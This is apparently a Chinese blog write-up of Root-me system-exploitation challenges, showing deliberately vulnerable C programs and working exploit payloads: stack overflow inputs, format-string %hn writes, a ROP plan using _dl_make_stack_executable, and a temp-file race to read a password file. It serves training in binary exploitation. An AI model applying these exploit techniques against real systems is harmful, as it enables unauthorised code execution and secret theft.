Root-me App-System01

新找到的刷题网站https://www.root-me.org,加上是Asuri战队的训练网站,决定先来试试水先~

Stack buffer overflow basic 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
system("/bin/dash");
printf("Shell closed! Bye.\n");
}
return 0;
}

这个的话呢,讲道理还是蛮简单的。但是问题的关键在于,我们怎么构造这个0xdeadbeef字符串,毕竟是不可见字符。这有两种思路

  • 使用pwntools的ssh连接上去,如果这样做的话,我们就能够很容易的构造0xdeadbeef的效果。
  • 在本地使用python或者bash脚本,然后构造输入字符串。

如果使用第二种方法的话,首先想到的话是使用python构造如下字符串:

1
"a"*40+"\xef\xbe\xad\xde"

但是会得到如下的结果:

1
2
3
4
5
6
7
app-systeme-ch13@challenge02:~$ python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\n" +"ls"' | ./ch13
[buf]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.

为什么我们输入的ls没有执行?这里我们可以参考下面给出来的,关于stdio buffer的文章

根据文章提炼出来的最关键的一点就是: *nix操作系统的stdin是带有缓冲的,因此,我们输入的ls也被读入了stdin中,然后在调用system之后,由于此时我们所有的数据都被放到了缓冲中,此后stdin为空,所以system("/bin/dash")读取到了EOF,结束了当前的进程。

然后我们此时希望的结果是让我们的输入数据不要立刻落入stdin的缓冲中,又或者说,此时不让输入流中断。那么针对以上的两种需求,我们有两种思路。

  • 输入让stdin缓冲区满掉的数据,从而不让数据落入缓冲,继续留在stdin中。一般的操作系统中,在非terminal中,stdin的缓冲大小都是4096,那么我们只要把缓冲区写满。
1
python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\x00"*4052 + "cat .passwd"' | ./ch13
  • 不让当前的数据流中断。这种操作的话我们可以执行那种不会让输入流关闭的指令,比如说cat指令。直接使用cat的功能为将输入流复制到输出流中。如果我们将python的输出和cat放在一个命令组中,那么此时我们的输入流会被cat占用,并且此时输出流的数据会写向./ch13中。
1
(python -c 'print "a"*40+"\xef\xbe\xad\xde" '; cat ) | ./ch13

总结

看起来很简单的一题,但是其实考验了对Unix基本输入输出流与缓冲的考察,还是很有意义的。

Stack buffer overflow basic 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
#include <stdio.h>
#include <stdlib.h>
void shell() {
system("/bin/dash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}

这个题目比较像是传统的pwn了,通过修改栈中变量,从而劫持程序流什么的。这里唯一需要注意的是小端,也就是小的数字先被输入到了栈中

1
(python -c 'print "a"*128+"\x64\x84\x04\x08" '; cat ) | ./ch15

ELF x86 - Format string bug basic 1

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}

这个题目涉及到了一点格式化字符串的漏洞。倒是可以直接参考我之前对格式化字符串漏洞写的博客http://showlinkroom.me/2017/01/28/pwn-learn-printf/
这里需要思考的是,此时的栈空间大致是什么样子的。我们知道,关键是printf的参数之后的第几个地址开始是我们的输入字符串的地址。这里可以大致猜测一下,应该在不远处,所以我们直接构造攻击字符串如下:

1
./ch5 %x,%x,%x,%x,%x,%x,%x.%x,%x,%x,%x,%x,%x,%x,%x

这里其实没有开ASLR,而且本地其实有gdb,所以可以直接调试得知当前栈地址,然后构造栈地址,直接输入字符串。但是我有点懒了,就直接用%x直接泄露栈中地址,得到如下:

1
20,804b008,b7e552f3,0,8049ff4,2,bffffc44.bffffd6c,2f,804b008,39617044,28293664,6d617045,a64,b7e554ad

从第11个字符开始,就是我们输入的字符串。但是同样注意,我们输出来的数字是小端的,但是我们字符串是从低地址开始写的,所以这里需要将这些数字重新转换大小端。

ELF x86 - Stack buffer overflow basic 3

这个题有队友主动提出,所以这里进行讲解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
gcc -m32 -o ch16 ch16.c
*/
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shell(void);
int main()
{
char buffer[64];
int check;
int i = 0;
int count = 0;
printf("Enter your name: ");
fflush(stdout);
while(1)
{
if(count >= 64)
printf("Oh no...Sorry !\n");
if(check == 0xbffffabc)
shell();
else
{
read(fileno(stdin),&i,1);
switch(i)
{
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b");
break;
case 0x04:
printf("\t");
count++;
break;
case 0x90:
printf("\a");
count++;
break;
default:
buffer[count] = i;
count++;
break;
}
}
}
}
void shell(void)
{
system("/bin/dash");
}

从源代码上来看,最关键的逻辑就在如何修改check。我们注意到,这个check的参数是在buffer之后申请的。并且在逻辑上最关键的地方就是:

1
2
3
4
case 0x08:
count--;
printf("\b");
break;

所以这里可以通过输入’\x08’来让下标往回指。这样的话,如果我们能够让下标指向check的位置,那么我们就能够定向修改指定位置的变量。
我们确认一下相对偏移如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x80485a6 <main+82>: cmp DWORD PTR [esp+0x18],0xbffffabc
...
=> 0x804864c <main+248>: lea eax,[esp+0x1c]
0x8048650 <main+252>: add eax,DWORD PTR [esp+0x14]
0x8048654 <main+256>: mov BYTE PTR [eax],dl
0x8048656 <main+258>: add DWORD PTR [esp+0x14],0x1
0x804865b <main+263>: nop
gdb$ x /16wx $esp
0xbffffb50: 0x00000000 0xbffffb60 0x00000001 0xb7eb8d56
0xbffffb60: 0x00000031 0x00000000 0xb7e2ec34 0xb7e552f3
0xbffffb70: 0x00000000 0x08049ff4 0x00000001 0x080483ed
0xbffffb80: 0xbffffd7c 0x0000002f 0x08049ff4 0x080486a1

可以看到,check的变量位置在buffer的-4的位置。所以这里我们只需要输入四个’\x08’加上0xbffffabc就能够完成攻击。

1
(python -c "print '\x08'*4+'\xbc\xfa\xff\xbf'+'a'*4088 "; cat ) | ./ch16

ELF x64 - Stack buffer overflow - advanced

这也是队友提出来的一个题目,这里进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <string.h>
/*
gcc -o ch34 ch34.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static
*/
int main(int argc, char **argv){
char buffer[256];
int len, i;
gets(buffer);
len = strlen(buffer);
printf("Hex result: ");
for (i=0; i<len; i++){
printf("%02x", buffer[i]);
}
printf("\n");
return 0;
}

这个题目就是一个传统的pwn了。静态编译的程序给人的暗示就是能够利用ROP,毕竟内部程序一般都会比较大(顺便,这个里面也有mmap,应该也是一种利用思路)。这里先尝试使用ROP。
对于64bit的程序,我们首先要知道其和32bit调用有一些不同。比如传参的顺序,或者系统中断调用等。

1
2
3
4
5
+-----+-----------------+-------------------------+--------------------------+--------------------------+
|%rax | System call | %rdi | %rsi | %rdx |
+-----+-----------------+-------------------------+--------------------------+--------------------------+
| 59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[]|
+-----+-----------------+-------------------------+--------------------------+--------------------------+

这个是找到的一种有效的系统调用的方式。通过调用execve来实现起shell。那么为了模拟调用execve,我们需要以下gadget

  • 一个系统调用的地址(syscall/int 80h)
  • 让 %rax 能够 = 59
  • 对 %rid 能够指向包含/bin/dash地址的字符串
  • 让 %rsi 和 %rdx 置为0

syscall和int 80h的地址很容能够找到,rax的值可以通过mov和add来凑出来,最关键的是%rdi的值如何实现。在搜索了各种方法之后,发现为了填充 filename 的话可能需要至少一个read函数。于是我们还需要调用read函数。
这里有一个坑点,系统调用的时候,字符串的结尾必须是\0结尾,不然的话会去寻找一个名字带有\n的文件。。。这显然是不对的。

发现远程的\bin\sh的权限不对,于是改成直接用

1
open --> read --> write

的思路打开文件,读取并且写入buff中。最后成功。

新姿势 – _dl_make_stack_executable

在两位大佬的提醒下,发现答案里面有一个比较神奇的思路,是利用了_dl_make_stack_executable函数。这个函数我之前完全没见过,这里学习一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000468420 mov rsi, cs:_dl_pagesize
.text:0000000000468427 push rbx
.text:0000000000468428 mov rbx, rdi
.text:000000000046842B mov rax, [rdi]
.text:000000000046842E mov rdi, rsi ;页大小默认为4096
.text:0000000000468431 neg rdi
.text:0000000000468434 and rdi, rax ;用于将传进来的地址按照页对齐
.text:0000000000468437 cmp rax, cs:__libc_stack_end
.text:000000000046843E jnz short loc_46845F
.text:0000000000468440 mov edx, cs:__stack_prot
.text:0000000000468446 call mprotect
.text:000000000046844B test eax, eax
.text:000000000046844D jnz short loc_468466
.text:000000000046844F mov qword ptr [rbx], 0
.text:0000000000468456 or cs:_dl_stack_flags, 1
.text:000000000046845D pop rbx

看了一下这个函数的代码,发现不得了啊,这个函数的功能居然是调用mprotect!函数原型为:

1
_dl_make_stack_executable(void* address)

这个函数接收一个地址,并且检查我们传入的地址是否为__libc_stack_end。如果为__libc_stack_end的话,那么就会调用mprotect,并且此时调用的形式为:

1
mprotect(__libc_stack_end, _dl_pagesize, __stack_prot)

这里一口气用了三个全局变量?我们分别检查其含义:

1
__libc_stack_end

这个变量存放的是,当前elf在载入之后,栈地址的底部。我们直到,在一个ELF文件载入的时候,在start会有一个将环境变量和传入参数压栈的操作。这个操作会将我们当前的环境变量和参数的向量传入函数。比如如下的形式:

字符串被直接压入到栈中,并且字符串地址存在了栈中,顺序大致如下:

1
2
3
4
env n <-- __libc_stack_end
env n-1
...
env 0 <-- __environ

其中我们可以看到,这个__libc_stack_end的内容就是这个栈的开头。

然后看到第二个变量

1
_dl_pagesize

这个值存放的就是当前系统中的一页的大小。就我们目前的系统来说,都是4096

最后一个变量比较关键:

1
__stack_prot

这个值表示的是当前要赋予栈的权限(从名字也能猜到啦)。这个值的话一般情况下为1000000h,然而我们为了让栈变成可读可写可执行的状态,要将其的值改成7。
于是另一个ROP的思路就出现了:

1
修改__stack_prot的值 --> 将__libc_stack_end的值存入rdi --> 调用_dl_make_stack_executable

ELF x86 - Format string bug basic 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
/*
gcc -m32 -o ch14 ch14.c
*/
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
}

这个地方是是一个很明显的个格式化字符串漏洞,我们观察栈:

1
2
3
4
5
6
7
8
9
10
--------------------------------------[code]------------------------------------
=> 0x8048593 <main+159>: call 0x8048430 <snprintf@plt>
0x8048598 <main+164>: mov eax,DWORD PTR [esp+0x28]
--------------------------------------[stack]------------------------------------
gdb$ x /16wx 0xbffffac0
0xbffffac0: 0xbffffaec 0x00000080 0xbffffd5a 0xb7fdcb48
0xbffffad0: 0x00000001 0x00000000 0x00000001 0xbffffc14
0xbffffae0: 0x00000000 0x00000000 0x04030201 0x00000000
0xbffffaf0: 0x00000000 0x00000000 0x00000000 0x00000000

其中0xbffffd5a就是我们输入的参数。也即是说,输入的内容为

1
%x

输出的内容内容是0xb7fdcb48。则我们通过计算偏移,可以知道我们要修改的值在第8个位置上。然而这个%n是需要指定地址的,所以我们这里需要指定要写入的位置。幸好,这个题目没有开ASLR,我们此时可以计算出要写入的地址为:
首先可以知道argv[1]的结束地址为:

1
0xbffffda2

这个和之前的有点不太一样,argv[1]似乎是通过压栈的方式将整体栈数据下压,然后空出位置放入argv。所以这里我们最好是吧地址写在末尾处,方便调试。
暴力测试后发现,字符串结尾的位置在155,则我们需要写入的地址就是154和153

1
0xbffffae8

我们要写入的值为0xdeadbeef,这个值显然有点太大了,所以我们需要拆成几部分执行。

1
2
3
4
5
6
+---------|--------+
| 0xdead|beef |
+---------|--------+
^ ^
| |
0xbffffaea 0xbffffae8

拆成两个short类型的整数,则此时我们只需要写入0xbeef长的字符串,然后利用%n将其长度作为低字节写入地址, 0xdead - 0xbeef长度的字符串作为高字节,就能一次性写入:

1
"%48879hx%n%8126hx%n"

开始的时候,我试用了argv[1]作为输入地址,但是计算了很久也不对。。最后使用爆破的方法找到了161个位置是我们传入参数的末尾,然后修改了exp做出来的。。。:

1
'\xff\xbf%48877x%162$hn%8126x%161$hn\xda\xfb\xff\xbf\xd8\xfb\xff\xbf\xff'

这个做法非常的糟糕。。。于是复习了一下snprintf函数,了解到其运行中是立刻生效,也就是说如果我们的exp中的内容为:

1
\xda\xfb\xff\xbf%9$n

那么在遇到%9$n的时候,栈中的情况已经变成

1
2
3
4
0xbffffac0: 0xbffffaec 0x00000080 0xbffffd5a 0xb7fdcb48
0xbffffad0: 0x00000001 0x00000000 0x00000001 0xbffffc14
0xbffffae0: 0x00000000 0x00000000 0x04030201 0xbffffbda
0xbffffaf0: 0x00000000 0x00000000 0x00000000 0x00000000

此时就能够直接往这个位置写入数据。。。。
找到的大佬的答案:

1
echo "cat .passwd" | ./ch14 "`printf '\x38\xfb\xff\xbf\x3a\xfb\xff\xbf%s%s' '%48871x%9$hn' '%8126x%10$hn'`"

ELF x86 - Race condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
int main(void)
{
int fd_tmp, fd_rd;
char ch;
// if ((fd_tmp = open(TMP_FILE, O_RDONLY)) != NULL )
// {
// close(fd_tmp);
// return 1;
// }
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0)
{
printf("[-] Don't use a debugguer !\n");
abort();
}
if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
{
perror("[-] Can't create tmp file ");
exit(0);
}
if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
{
perror("[-] Can't open file ");
exit(0);
}
while(read(fd_rd, &ch, 1) == 1)
{
write(fd_tmp, &ch, 1);
}
close(fd_rd);
close(fd_tmp);
usleep(250000);
unlink(TMP_FILE);
return 0;
}

这个题目首先要扯到一个函数的作用:

1
unlink

这个函数的作用相当于将当前文件的符号去除。一个UNIX文件被去除了符号之后,unlink函数会允许这段文件所占用的空间被覆盖,就相当于是将此文件删除。然而,由于这里调用了usleep,所以我们可以在这个程序在删除这个/tmp/tmp_file.txt之前,抢先把文件中的数据读出来。

于是我们考虑到,我们可以尝试在运行这个程序的同时尝试读取这个/tmp/tmp_file.txt,完成攻击。
比如说:

1
./ch12&cat /tmp/tmp_file.txt

这个&的作用是,让./ch12能够在后台运行,这样的话就能够同时进行前面的语句和后面的语句
反复执行上述语句的话,我们可能能在文件被删除之前将文件中的内容读取出来。多次尝试之后即可得到flag。

参考资料:
http://blog.51cto.com/laokaddk/981868